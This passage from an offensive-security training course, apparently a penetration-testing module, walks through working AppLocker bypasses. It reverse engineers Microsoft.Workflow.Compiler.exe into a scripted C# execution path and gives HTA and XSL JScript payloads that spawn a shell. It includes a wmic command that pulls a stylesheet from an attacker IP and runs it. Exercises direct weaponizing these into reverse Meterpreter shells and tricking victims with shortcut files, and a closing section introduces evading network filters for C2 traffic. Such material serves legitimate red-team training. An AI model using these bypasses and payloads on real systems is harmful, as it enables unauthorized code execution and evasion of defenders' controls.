Next, we'll expand the "Used By" section, which reveals two entries
including Microsoft.Workflow.Compiler.Program.Main. This is the
Main method of an executable, which means the Compile method is
called directly from this .NET application.

Double-clicking on the entry will open the relevant assembly in
dnSpy which will automatically present its code. Additionally,
the Assembly Explorer neatly displays the application name as
Microsoft.Workflow.Compiler:

Figure 15: Executable calling the Compile method

To locate this file on disk we can right-click on the assembly in
Assembly Explorer and choose "Open Containing Folder", which opens
C:\Windows\Microsoft.NET\Framework64\v4.0.30319 in File
Explorer. Alternatively, we could hover over the assembly name in
Assembly Explorer to display the path name.

At this point we have found a way to trigger the Compile method
directly from a native and signed Microsoft application. We must also
determine if the arguments supplied to Compile come directly from
Microsoft.Workflow.Compiler.

We will start this analysis from the Main method of
Microsoft.Workflow.Compiler.exe and inspect the arguments it
accepts. The Main method is shown in Listing 36.

3 private static void Main(string[] args)
4 {
5   if (args == null || args.Length != 2)
6   {
7 	  throw new ArgumentException(WrapperSR.GetString("InvalidArgumentsToMain"), "args");
8 	}
9 	CompilerInput compilerInput = Program.ReadCompilerInput(args[0]);
10  	WorkflowCompilerResults results = new WorkflowCompiler().Compile(MultiTargetingInfo.MultiTargetingUtilities.RenormalizeReferencedAssemblies(compilerInput.Parameters), compilerInput.Files);
11    Program.WriteCompilerOutput(args[1], results);
12  }

Listing 36 - Main method of Microsoft.Workflow.Compiler.exe

This reveals that two arguments must be passed and that only
the first is used with the Compile method. The contents of the first
argument are parsed by the ReadCompilerInput method, which returns an
object that contains compiler parameters and file names.

The information discovered here is very enlightening. It tells us that
any input to Compile should be under user control. However the input
does go through some sort of validation via ReadCompilerInput.

Listing 37 shows the content of
ReadCompilerInput, where we find that the content of the file passed
as an argument is read into a stream, after which it is used to create
an XmlReader[448] stream. This shows us that we must supply
an XML file as the first argument to Microsoft.Workflow.Compiler.

26  private static CompilerInput ReadCompilerInput(string path)
27  {
28    CompilerInput result = null;
29    using (Stream stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read))
30  	{
31  	  XmlReader reader = XmlReader.Create(stream);
32  	  result = (CompilerInput)new DataContractSerializer(typeof(CompilerInput)).ReadObject(reader);
33  	}
34  	return result;
35  }

Listing 37 - ReadCompilerInput parses the supplied file

After the XmlReader stream is created, the ReadObject[449]
method is used to deserialize the data of the stream and return it
as the CompilerInput type, which is a custom type defined inside
Microsoft.Workflow.Compiler. If we click on the type, we find that it
contains only two elements: parameters and files.

At this point, it seems that we should be able to pass a file of our
own choosing to Microsoft.Workflow.Compiler as the first argument.
However the file must contain serialized XML data.

While it is not yet clear what the content of the file should be and
how the deserialization works, we have found that we should be able to
trigger execution of Compile with arguments under our control.

There is still much work left to do in this analysis. Simply compiling
C# code and loading an assembly into memory is not enough to acquire
code execution. In the next section, we must continue our reverse
engineering to determine whether or not the newly-compiled assembly is
actually executed.

Exercises

  1. Repeat the steps in this section to locate the call to
    Assembly.Load.
  2. Locate the application we can use to invoke Compile and discover
    how its arguments are controlled.

Give Me Code Exec

In this section, we are going to continue our reverse engineering
session to discover how we can obtain code execution under specific
circumstances.

During our analysis in the previous section, we followed the code path
starting from the Compile method of the WorkflowCompilerInternal
namespace. The code trace led us to GenerateLocalAssembly which in
theory should allow us to compile and subsequently load an arbitrary
assembly. Now we'll analyze InternalCompileFromDomBatch which
follows after the GenerateLocalAssembly call as noted below.

89  using (WorkflowCompilationContext.CreateScope(serviceContainer, parameters))
90	{
91	  parameters.LocalAssembly = this.GenerateLocalAssembly(array, array2, parameters, workflowCompilerResults, out tempFileCollection, out empty, out text4);
92		if (parameters.LocalAssembly != null)
93		{
94		  referencedAssemblyResolver.SetLocalAssembly(parameters.LocalAssembly);
95			typeProvider.SetLocalAssembly(parameters.LocalAssembly);
96			typeProvider.AddAssembly(parameters.LocalAssembly);
97			workflowCompilerResults.Errors.Clear();
98			XomlCompilerHelper.InternalCompileFromDomBatch(array, array2, parameters, workflowCompilerResults, empty);
99		}
100	}

Listing 38 - Call to GenerateLocalAssembly and InternalCompileFromDomBatch

Before following the call into InternalCompileFromDomBatch, we
notice that GenerateLocalAssembly returns the newly compiled
and loaded assembly inside the LocalAssembly property of the
parameters variable. A reference to the assembly is subsequently
stored in the typeProvider variable.

When we follow the call into InternalCompileFromDomBatch we are
lead into the XomlCompilerHelper namespace. After some argument
validation and variable initialization, we find the foreach loop
shown in Listing 39.

52  foreach (Type type in typeProvider.LocalAssembly.GetTypes())
53	{
54	  if (TypeProvider.IsAssignable(typeof(Activity), type) && !type.IsAbstract)
55		{
...

Listing 39 - Foreach loop detecting all classes of type Activity

The loop iterates over all classes in the previously compiled file
as given by the reference stored in the typeProvider variable.
For each iteration it checks for classes which inherit[450]
from System.Workflow.ComponentModel.Activity and are not
abstract.[451]

Assuming at least one such class exists, we go into the loop where
the CreateInstance[452] method is invoked, which
instantiates an object of the given type:

108 try
109 {
110   Activity.ActivityType = type;
111   activity = (Activator.CreateInstance(type) as Activity);
112 }

Listing 40 - Objects of type Activity are instantiated

When an object is instantiated from a class, the defined constructor
is executed.

Our hypothesis is that the Compile method of the
Compiler.WorkflowCompiler namespace is called with the path of a
file containing C# source code given as an argument. After several
iterations of validation and parsing, the provided .NET code is
compiled into an assembly, loaded into memory, and if it contains a
non-abstract class which inherits from the Activity type, an object
is instantiated.

If we are able to provide our desired code as part of the constructor
for that class, we can obtain arbitrary code execution and bypass
AppLocker.

This concludes the second stage of reverse engineering. We have
located a theoretical path that will lead to code execution. Now we
must discover how to provide proper input to the constructor.

Exercise

  1. Repeat the analysis in dnSpy to discover the loop that will
    instantiate a class from our code.

Invoking the Target Part 1

In this and the next section, we must finish our reverse engineering
and create proof-of-concept bypass code. We have already found that
the native Microsoft.Workflow.Compiler application can be
used to invoke the Compile method with arguments supplied on the
command line.

The first command-line argument is a file path which is parsed by the
ReadCompilerInput method. We must inspect the ReadCompilerInput
method to determine what the file format and content of the first
command line argument should be.

We previously found that ReadCompilerInput creates a
XmlReader stream after which the ReadObject[449-1] method
is used to deserialize the data of the stream and return it
as the type CompilerInput. This code is repeated in Listing
41

26  private static CompilerInput ReadCompilerInput(string path)
27  {
28    CompilerInput result = null;
29    using (Stream stream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.Read))
30  	{
31  	  XmlReader reader = XmlReader.Create(stream);
32  	  result = (CompilerInput)new DataContractSerializer(typeof(CompilerInput)).ReadObject(reader);
33  	}
34  	return result;
35  }

Listing 41 - ReadComplerInput parses the supplied file

To build upon this knowledge we must understand both the content of
the serialized XML file and the deserialization process.

In the listing above, ReadObject makes use of the
DataContractSerializer[453] method to aid in the
serialization. This is in line with the MSDN documentation
which reveals that a similar serialization process would use
DataContractSerializer along with WriteObject.[454] At this
point, to understand how to successfully serialize our input we could
either reverse engineer all the required flags, or we could attempt to
locate code related to serialization inside the assembly.

We choose to do the latter and right-click DataContractSerializer
and select "Analyze", which tells us that it is only used in two
methods as shown in Figure 16.

Figure 16: Uses of DataContractSerializer

Besides the ReadCompilerInput method we are currently investigating,
DataContractSerializer is only used in SerializeInputToWrapper,
which has a very promising name.

Double-clicking the method name reveals its body:

104 private static string SerializeInputToWrapper(WorkflowCompilerParameters parameters, string[] files)
105 {
106   string tempFileName = Path.GetTempFileName();
107   using (Stream stream = new FileStream(tempFileName, FileMode.Create, FileAccess.Write, FileShare.Read))
108   {
109 	  using (XmlWriter xmlWriter = XmlWriter.Create(stream, new XmlWriterSettings
110 		{
111 		  Indent = true
112 		}))
113 	  {
114	      CompilerInput graph = new CompilerInput(MultiTargetingInfo.MultiTargetingUtilities.NormalizeReferencedAssemblies(parameters), files);
115		    new DataContractSerializer(typeof(CompilerInput)).WriteObject(xmlWriter, graph);
116     }
117   }
118   return tempFileName;
119 }

Listing 42 - SerializeInputToWrapper serializes its input

The highlighted portion of the code shows a serialization process
similar to the one encountered in ReadCompilerInput.

This code is perfect for our purposes since it serializes a data
object of type WorkflowCompilerParameters into an XML file on the
filesystem.

Since we have found a method that directly serializes into our
desired format, we can simply create a PowerShell script that calls
it.[455]

Because the method is private, we must use reflection to locate it
with GetMethod as shown in Listing 43.

$workflowexe = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
$workflowasm = [Reflection.Assembly]::LoadFrom($workflowexe)
$SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')

Listing 43 - Locating SerializeInputToWrapper through reflection

With the method resolved, we must determine which arguments it
accepts. The first are the WorkflowCompilerParameters. Fortunately,
the type is public, meaning we can simply instantiate an object of
this type. The second argument is an array of strings containing file
paths.

Once we have set up the argument values, we can call the method
through reflection with the Invoke method:

Add-Type -Path 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll'
$compilerparam = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
$pathvar = "test.txt"
$output = "C:\Tools\test.xml"
$tmp = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerparam, [String[]] @(,$pathvar)))
Move-Item $tmp $output

Listing 44 - Defining arguments and calling SerializeInputToWrapper

After executing the code, we can dump the contents of the generated
file to view the serialized content:

PS C:\Tools> type C:\Tools\test.xml
<?xml version="1.0" encoding="utf-8"?>
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
  <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
    <d2p1:string>test.txt</d2p1:string>
  </files>
  <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
    <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
    <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
    <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
...

Listing 45 - Contents of serialized XML file generated by SerializeInputToWrapper

Note that the XML file was generated from an administrative
PowerShell console in the context of the "Offsec" user to avoid
AppLocker. This means that the "student" user cannot access it before
we modify the file permissions.

We notice two things from the contents of the file. First, the file
path we supplied has been embedded into it and will be used with the
call to Compile once the file is deserialized. Second, quite a few
compiler flags have been added, but at this time we do not know if the
values they contain will lead us down the correct code path in order
to process and execute an arbitrary malicious assembly file.

With an understanding of how we can generate an input file that
will be deserialized correctly by Microsoft.Workflow.Compiler, we
must return to dnSpy. Our goal is to determine what file format and
content the file name embedded in the XML file should have, and which
compiler flags are required to reach the compilation, loading, and
subsequent execution sections.

After returning to the Main method of Microsoft.Workflow.Compiler
in dnSpy, we find that the next call is to Compile, where the
deserialized parameters and file names are supplied as arguments.

3 private static void Main(string[] args)
4 {
5   if (args == null || args.Length != 2)
6   {
7     throw new ArgumentException(WrapperSR.GetString("InvalidArgumentsToMain"), "args");
8   }
9   CompilerInput compilerInput = Program.ReadCompilerInput(args[0]);
10  WorkflowCompilerResults results = new WorkflowCompiler().Compile(MultiTargetingInfo.MultiTargetingUtilities.RenormalizeReferencedAssemblies(compilerInput.Parameters), compilerInput.Files);
12  Program.WriteCompilerOutput(args[1], results);
13  }

Listing 46 - Main method of Microsoft.Workflow.Compiler.exe

We follow the call and first notice null checks on the input values
after which various actions are performed depending on the given
parameters:

12 public WorkflowCompilerResults Compile(WorkflowCompilerParameters parameters, params string[] files)
13 {
...
32   if (parameters.GenerateInMemory)
33   {
34     flag = true;
35     parameters.GenerateInMemory = false;
36  	 if (string.IsNullOrEmpty(parameters.OutputAssembly))
37  	 {
38  	   text2 = Path.GetTempFileName();
39  		 parameters.OutputAssembly = text2 + ".dll";
40  	 }
41   else
...

Listing 47 - Parameters GenerateInMemory and OutputAssembly being used

The OutputAssembly parameter is only checked and modified if the
GenerateInMemory flag is set. From our generated XML file, we find
that it is set to false by default. The OutputAssembly parameter is
likely the file name and path of the generated assembly file, and if
it does not exist, the compilation will likely fail.

Because of this, we must update our PowerShell script to
set GenerateInMemory to true. This is shown in Listing
48.

$compilerparam.GenerateInMemory = $True

Listing 48 - Setting GenerateInMemory parameter to true

After parsing the parameter, we follow the call into the Compile
method of the WorkflowCompilerInternal namespace, where we find the
following foreach loop:

32  foreach (string text in allFiles)
33  {
34    if (text.EndsWith(".xoml", StringComparison.OrdinalIgnoreCase))
35  	{
36  	  stringCollection.Add(text);
37  	}
38  	else
39  	{
40  	  stringCollection2.Add(text);
41  	}
42  }
43  string[] array = new string[stringCollection.Count];
44  stringCollection.CopyTo(array, 0);
45  string[] array2 = new string[stringCollection2.Count];
46  stringCollection2.CopyTo(array2, 0);

Listing 49 - Detecting files with xoml extension

Very interestingly, we find a comparison on the file name against the
xoml extension, which is used by the relatively undocumented
Extensible Object Markup Language[456] file format. This is
essentially an XML document that can contain embedded code.

File names with xoml extensions will be added to the array
variable while file names with other extensions will be added to
array2. Since xoml files can contain embedded code, we can
assume that this is a required file, but we must continue our analysis
to prove this.

From our investigation in the previous sections, we located
the code path to trigger the compilation and loading of the
assembly and discovered that we must trace into the call to
GenerateLocalAssembly, which was supplied the arguments shown in
Listing 50.

91  parameters.LocalAssembly = this.GenerateLocalAssembly(array, array2, parameters, workflowCompilerResults, out tempFileCollection, out empty, out text4);

Listing 50 - Call to GenerateLocalAssembly with file names

Once inside the call, we can inspect the function prototype of
GenerateLocalAssembly to gain a better and somewhat contradictory
understanding of the arguments:

183 private Assembly GenerateLocalAssembly(string[] files, string[] codeFiles, WorkflowCompilerParameters parameters, WorkflowCompilerResults results, out TempFileCollection tempFiles2, out string localAssemblyPath, out string createdDirectoryName)

Listing 51 - Comparing first two argument names with the supplied input

From the argument names, we find that the files with an xoml
extension are called files, while those with any other extension
are called codeFiles, which leads us to believe we should avoid
xoml files. This seems contradictory to the previous
analysis.

To understand this, we'll turn our attention to the first call inside
the method, which is to GenerateCodeFromFileBatch:

188 CodeCompileUnit value = WorkflowCompilerInternal.GenerateCodeFromFileBatch(files, parameters, results);

Listing 52 - Call to GenerateCodeFromFileBatch

Listing 52 shows that this method is given the
files variable, which contained the xoml files, as its
first argument. If we were to reverse engineer the method, we would
discover rather extensive code designed to parse the files and detect
and extract embedded code.

Still inside GenerateLocalAssembly, GenerateCodeFromFileBatch
returns the embedded code from the xoml files into the
value variable. Near the end of the method, we find the following
code block:

286 ArrayList arrayList2 = new ArrayList((ICollection)parameters.UserCodeCompileUnits);
287 arrayList2.Add(value);
288 ArrayList arrayList3 = new ArrayList();
289 arrayList3.AddRange(codeFiles);
290 arrayList3.AddRange(XomlCompilerHelper.GenerateFiles(codeDomProvider, compilerParameters, (CodeCompileUnit[])arrayList2.ToArray(typeof(CodeCompileUnit))));
291 CompilerResults compilerResults = codeDomProvider.CompileAssemblyFromFile(compilerParameters, (string[])arrayList3.ToArray(typeof(string)));

Listing 53 - All files containing code are passed to CompileAssemblyFromFile

The files containing code that were extracted from an xoml
file are added into the arrayList2 variable, and those without
this extension are added into the arrayList3 variable. In the
second-to-last line of code, the extracted code is converted to files
and added to arrayList3.

In effect, this means that we do not have to worry about the
partially-undocumented xoml format and can instead simply
provide a file containing C# code with an arbitrary extension.

To summarize what we have discovered so far,
Microsoft.Workflow.Compiler accepts two arguments. The
first must be the path to an XML file containing compiler flags and
the path to a file containing C# code. The C# file will be compiled
and loaded into memory without restrictions.

Exercises

  1. Repeat the analysis performed in this section to obtain a valid XML
    file with the PowerShell script.
  2. Modify the PowerShell script to set the GenerateInMemory flag and
    obtain a usable XML file.

Invoking the Target Part 2

We have managed to create a valid input file in XML format that
will be processed by Microsoft.Workflow.Compiler and used to
compile and load our C# code. Now we must finish the work and figure
out how we can achieve execution of the newly compiled code.

In InternalCompileFromDomBatch we find a check for
classes that extend on the Activity as repeated in Listing
54.

52  foreach (Type type in typeProvider.LocalAssembly.GetTypes())
53  {
54    if (TypeProvider.IsAssignable(typeof(Activity), type) && !type.IsAbstract)
55    {
...
108     try
109     {
110       Activity.ActivityType = type;
111       activity = (Activator.CreateInstance(type) as Activity);
112     }
...

Listing 54 - Objects that inherit from type Activity are instantiated

Each located class will subsequently be instantiated to an object
through the CreateInstance method by invoking the default
constructor for the class.

This means that the file containing code we provide must
contain a class that inherits from the Activity class of the
System.Workflow.ComponentModel namespace and must contain the code
we want to execute inside its constructor. Proof-of-concept code is
shown in Listing 55.

using System;
using System.Workflow.ComponentModel;
public class Run : Activity{
    public Run() {
        Console.WriteLine("I executed!");
    }
}

Listing 55 - Proof of concept code as input file

We have now managed to reverse engineer and develop the required input
files to achieve code execution. There is, however, one missing step.

We determined that Microsoft.Workflow.Compiler required
two arguments as shown again in Listing 56:

3 private static void Main(string[] args)
4 {
5   if (args == null || args.Length != 2)
6   {
7 	  throw new ArgumentException(WrapperSR.GetString("InvalidArgumentsToMain"), "args");
8 	}
9 	CompilerInput compilerInput = Program.ReadCompilerInput(args[0]);
10  WorkflowCompilerResults results = new WorkflowCompiler().Compile(MultiTargetingInfo.MultiTargetingUtilities.RenormalizeReferencedAssemblies(compilerInput.Parameters, compilerInput.Files);
11  Program.WriteCompilerOutput(args[1], results);
12  }

Listing 56 - Main method of Microsoft.Workflow.Compiler.exe

The second command line argument is only used with the
WriteCompilerOutput method. Following that call, dnSpy reveals the
following:

3   private static void WriteCompilerOutput(string path, WorkflowCompilerResults results)
4   {
5     using (Stream stream = new FileStream(path, FileMode.Create, FileAccess.Write, FileShare.None))
6 	  {
7 	    using (XmlWriter xmlWriter = XmlWriter.Create(stream, new XmlWriterSettings
8 		  {
9 		    Indent = true
10  		}))
11  	  {
12		    NetDataContractSerializer netDataContractSerializer = new NetDataContractSerializer();
13		    SurrogateSelector surrogateSelector = new SurrogateSelector();
14		    surrogateSelector.AddSurrogate(typeof(MemberAttributes), netDataContractSerializer.Context, new CompilerResultsSurrogate());
15		    ((IFormatter)netDataContractSerializer).SurrogateSelector = surrogateSelector;
16		    netDataContractSerializer.WriteObject(xmlWriter, results);
17		  }
18	  }
19  }

Listing 57 - Second command line argument is the output file path

As highlighted in Listing 57, the argument is used
as a file path, and content is written to it in XML format. Since we
only care about obtaining code execution, we can simply pass a random
file name as the second command line argument.

This concludes our analysis and we now have all the information we
need.

In summary, we must craft a file containing C# code, which implements
a class that inherits from the Activity class and has a constructor.
The file path must be inserted into the XML document along with
compiler parameters organized in a serialized format.

To create this correctly-serialized XML format, we'll take advantage
of the SerializeInputToWrapper method in a PowerShell script:

$workflowexe = "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe"
$workflowasm = [Reflection.Assembly]::LoadFrom($workflowexe)
$SerializeInputToWrapper = [Microsoft.Workflow.Compiler.CompilerWrapper].GetMethod('SerializeInputToWrapper', [Reflection.BindingFlags] 'NonPublic, Static')
Add-Type -Path 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Workflow.ComponentModel.dll'
$compilerparam = New-Object -TypeName Workflow.ComponentModel.Compiler.WorkflowCompilerParameters
$compilerparam.GenerateInMemory = $True
$pathvar = "test.txt"
$output = "C:\Tools\run.xml"
$tmp = $SerializeInputToWrapper.Invoke($null, @([Workflow.ComponentModel.Compiler.WorkflowCompilerParameters] $compilerparam, [String[]] @(,$pathvar)))
Move-Item $tmp $output

Listing 58 - Creating correctly serialized XML file using PowerShell

Next, we need to ensure the student is able to access the generated file:

PS C:\Tools> $Acl = Get-ACL $output;$AccessRule= New-Object System.Security.AccessControl.FileSystemAccessRule(“student”,”FullControl”,”none”,”none","Allow");$Acl.AddAccessRule($AccessRule);Set-Acl $output $Acl

Listing 59 - Granting the student user permissions on the newly generated file

With everything in place, we can run the executable with the two input
arguments as shown in Listing 60.

C:\Tools>C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe run.xml results.xml
I executed!

Listing 60 - Executing the proof of concept

The output reveals that that our efforts were successful. We executed
arbitrary C# code. Excellent!

In this section, we have completed our analysis and investigation of
the chosen assembly and in the process, created a working AppLocker
bypass for managed code. The downside to this attack is that we must
provide both the XML file and the C# code file on disk, and the C# code
file will be compiled temporarily to disk as well.

Despite these limitations, this simple code can be applied to any
existing C# tradecraft.

Exercises

  1. Repeat the analysis performed in this section and obtain a
    proof-of-concept application whitelisting bypass.
  2. Modify the provided code file to invoke SharpUp,[457] which
    is the C# equivalent to PowerUp. Attempt to create the attack in a way
    that does not require SharpUp to be written to disk on the victim
    machine.

Extra Mile

Perform online research to understand and execute an AppLocker
bypass that allows arbitrary C# code execution by abusing the
MSBuild[458] native binary.

Bypassing AppLocker with JScript

Throughout this course we have primarily leveraged Microsoft Office
and Jscript files to obtain client-side code execution. Along the
way, we have greatly improved our tradecraft to bypass endpoint
protections, and we have found a way to reuse all of that tradecraft
with Microsoft Office.

Due to the scripting rules imposed by AppLocker, Jscript code which
is not located in a whitelisted folder or whitelisted through a file
hash or signature will be blocked. For example, if we attach a Jscript
file to an email or deliver it through an HTML smuggling attack, the
execution will be blocked by AppLocker, disrupting our attack.

In the next sections, we will reuse our Jscript and DotNetToJscript
tradecraft and modify it to bypass AppLocker.

JScript and MSHTA

The MSHTA client side attack vector is well-known but works best
against Internet Explorer. As Internet Explorer becomes less-used,
this vector will become less relevant, but we'll nonetheless reinvent
it to bypass AppLocker and execute arbitrary Jscript code.

First, we'll briefly describe the MSHTA attack and provide context for
an AppLocker bypass.

Microsoft HTML Applications[226-1] (MSHTA) work by executing
.hta files with the native mshta.exe application.
HTML Applications include embedded Jscript or VBS code that is parsed
and executed by mshta.exe.

Since mshta.exe is located in C:\Windows\System32 and is
a signed Microsoft application, it is commonly whitelisted. Because
of this, we can execute our Jscript code with mshta.exe
instead of wscript.exe, and subsequently, bypass application
whitelisting.

A very simple HTA file containing Jscript code is shown in Listing
61.

<html> 
<head> 
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("cmd.exe");
</script>
</head> 
<body>
<script language="JScript">
self.close();
</script>
</body> 
</html>

Listing 61 - Proof of concept HTA file

When executed by mshta.exe, the Jscript code inside both
the head and the body tags will be executed, a command prompt will be
spawned and the mshta.exe window will be closed. When we
save this code to a local file and execute it from the command line,
we observe that it does indeed bypass AppLocker:

Figure 17: Bypassing AppLocker with mshta.exe

This effectively re-invigorates our Jscript tradecraft! We can deliver
this in a few different ways. For example, we could attach it to an
email, or HTML-smuggle the file through a browser. Either way, the
user must be tricked into running it to execute our code. In our case,
we will create a shortcut file and store our .hta file on our
Apache webserver.

To create the shortcut file, we'll right-click the desktop on the
Windows 10 victim machine and navigate to New -> Shortcut.
In the new window, we'll enter the MSHTA executable path
(C:\Windows\System32\mshta.exe) followed by the URL of the
.hta file on our Kali machine:

Figure 18: Shortcut file using mshta

To create it, we'll click "Next" and name it. Once test.hta
is transferred to our Kali machine, we can double-click the shortcut
file to execute our Jscript code.

Note that mshta.exe will download the .hta file
before its execution, so we must still bypass any installed endpoint
detection software.

As a final step of this weaponization, we can bring back the Jscript
code generated with DotNetToJscript and embed it in the hta file to
obtain a reverse shell by only sending the victim a shortcut file.

Exercises

  1. Create and execute the proof of concept hta file to bypass
    AppLocker and obtain Jscript code execution.
  2. Use SharpShooter to generate a Jscript shellcode runner inside a
    hta file and use it to gain a reverse shell.

XSL Transform

It's beneficial to prepare multiple bypasses in the event one is
blocked. In this section, we'll demonstrate a second way of obtaining
arbitrary Jscript execution while bypassing AppLocker through XSL
transformation
(XSLT).[459]

The process of XSLT uses Extensible Stylesheet Language (.xsl)
documents to transform an XML document into a different format such as
XHTML.

Part of the XSL transformation[460] specification allows
execution of embedded Jscript code when processing the supplied XML
document. Security researchers have discovered an XSL transformation
attack (Squiblytwo[461]) that allows arbitrary code execution
when triggered.

To leverage this, we must first craft a malicious XSL document and
put it on our Apache webserver. As a proof of concept, we are going
to launch a command prompt through the document shown in Listing
62:

<?xml version='1.0'?>
<stylesheet version="1.0"
xmlns="http://www.w3.org/1999/XSL/Transform"
xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">

<output method="text"/>
	<ms:script implements-prefix="user" language="JScript">
		<![CDATA[
			var r = new ActiveXObject("WScript.Shell");
			r.Run("cmd.exe");
		]]>
	</ms:script>
</stylesheet>

Listing 62 - Proof of concept XSL file that will open cmd.exe

Once the file is created, we must download it and invoke a transform
to trigger the Jscript code. This may be done through the WMI
command-line utility (WMIC)[462] by specifying the verb get
and the /format: switch followed by the URL of the XSL file,
as shown in Listing 63.

wmic process get brief /format:"http://192.168.119.120/test.xsl"

Listing 63 - WMIC is used to trigger the XSL transform

Once the command is executed from a command prompt, a new command
prompt is opened, proving that our Jscript code executed as shown in
Figure 19.

Figure 19: Bypassing AppLocker with XSL transformation

This application whitelisting technique can also be leveraged through
a shortcut file that we provide to the victim. To weaponize this,
we can modify the Jscript code inside the XSL file to contain a
DotNetToJscript C# shellcode runner or any other payload we desire.

Exercises

  1. Repeat the actions in this section to create a proof of concept XSL
    file and execute a transformation through WMIC.
  2. Modify the XSL file to use DotNetToJscript and obtain a reverse
    Meterpreter shell.

Extra Mile

PowerShell Empire[463] is a well-known framework for
post-exploitation, specifically geared towards Active Directory
exploitation. It can also generate client-side code
execution payloads.

An alternative and newer framework called Covenant[464] is written
in C# and implements much of the same functionality. To obtain code
execution on a Windows host an implant called a Grunt is used.

Install[465] the Covenant framework on your Kali machine and use
knowledge and techniques from this module to obtain code execution
through a Grunt in the face of AppLocker restrictions.

Wrapping Up

In this module, we have outlined the concept of application
whitelisting and bypassed AppLocker, which blocks much of our previous
tradecraft.

We have introduced various techniques to bypass many types of
AppLocker rules, ranging from simple bypasses to much more complicated
bypasses that leverage other native, trusted, and undocumented
applications.

We also updated our tradecraft to execute and gain client-side
execution on a hardened workstation, allowing us to continue our
post-exploitation tactics.

Bypassing Network Filters

In previous modules we discussed various command and control (C2)
techniques. In this module, we will discuss the various defense
solutions we may encounter in an enterprise environment and address
the challenges these solutions pose to our C2 network traffic. We will
discuss the strengths, weaknesses, and important details of a variety
of solutions and examine their monitoring and blocking strategies.
Since each of these solutions can affect the outcome of a penetration
test, we will also discuss a variety of strategies to bypass these
solutions.

Let's begin with an overview of the various solutions we may
encounter, each of which is typically deployed in an enterprise as
part of the Internet Edge[466] network architecture.
Although this model considers both ingress (inbound) and egress
(outbound) traffic, in this case we will focus on the latter, since
it is assumed that we have already compromised the target network
and control one or more systems within. Commonly, outbound traffic is
routed through a series of systems where it is inspected and processed
before routing it to the Internet or blocking it due to a violation.
The tools used in this model may include simple IP address filters
or more complex Intrusion Detection Systems (IDS)[467] and web
proxy
[468] filters. These advanced tools may perform deep packet
inspection
,[469] analyzing the entirety of the network application
layer's content.

In addition, a packet capture device (which is typically not inline
with the traffic) may copy the entirety of a network's data for use
in digital forensic investigation[470] activities. Although
this type of solution can not block traffic, it may alert system
administrators or incident response teams, who may in turn block our
traffic.

Consider Figure 1, which shows a rather
comprehensive Internet edge architecture installation.

Figure 1: Internet edge architecture

Let's discuss this configuration in more detail, tracing egress
traffic sourced from the internal devices.

First, if the egress traffic relies on name resolution, some edge
DNS servers may perform domain filtering, which can deny disallowed
domains.

Next, allowed egress traffic will pass through an internal firewall,
which will generally limit traffic based on IP address and port
number. Specifically, most solutions rely on a blocklist, which acts
as a first-pass protection mechanism but also reduces the load on
downstream devices. As an example, if an organization doesn't allow
egress SMB traffic, it can be filtered out early, at this stage.

At this point, the traffic may pass through an SSL
inspection
[471] device, which essentially performs
SSL decryption and re-encryption, allowing the device to inspect
SSL-encrypted traffic. The traffic is typically re-encrypted when it
leaves this zone.

If the traffic is still allowed, it may next pass through a traffic
filter, like a proxy server or an IDS, and the data may be copied to a
full packet capture device.

Next, the traffic may pass through an external firewall that may
filter egress traffic (in addition to filtering ingress traffic as
expected).

If the traffic passes these inspection points, it is then routed to
the Internet.

Since this type of comprehensive solution is costly and complicated,
some organizations may simplify, excluding certain functionality
or relying on multi-function devices that combine some of this
functionality into a single unit. For example, a proxy server may
serve as not only a proxy but may also perform IDS, SSL inspection,
and domain filtering.

As penetration testers, we are not necessarily concerned with the
actual devices. Instead, we must know how to identify the deployed
defensive tactics and understand how to evade them well enough to
successfully complete our assessment. Inevitably, in many cases
our traffic will be logged. Our goal in this module will often be
to normalize our traffic, "hiding within the noise", such that our
activity will fall below the detection threshold.

Before we proceed, let's take a moment to discuss the lab
configuration for this module, which is configured as follows:

Figure 2: Lab setup

The lab includes a Windows 10 machine named client and an Ubuntu
Linux machine named ubuntu. The Ubuntu system serves as an edge
defense machine and will handle all defensive tasks. It's running
DNS for name resolution, an Nginx[472] web server, and
Snort,[473] which is set to capture all network traffic. Most of
the Snort rules are turned off for now, but a few custom rules that
enable basic filtering are installed.

From an external perspective, we can SSH to the Ubuntu system from
our Kali machine. The Windows 10 machine is behind the Ubuntu machine,
which means we can't access it directly. However, a port forwarding
rule forwards RDP requests so we can RDP to the Windows client by
connecting to the Ubuntu machine on TCP port 3389.

Note that in previous modules, we relied on IP addresses when
connecting to our listeners. However, in the real world, domain names
are more practical and flexible for several reasons. First, we can
easily move our C2 server (listener) to another location by simply
updating the DNS record. In addition, since direct-to-IP connections
are often considered anomalous, we'll perform a DNS lookup to connect
to our C2 server and adopt a more typical network pattern.

Given these benefits, we will only connect to reverse shells
by domain name to assist in various filter bypasses.

Armed with basic knowledge of defense systems and a properly
configured lab, we'll cover the various system components in more
detail and demonstrate various bypass techniques. Later in this
module, we'll also examine domain fronting and DNS tunneling and
discuss how they relate to network filter evasion.

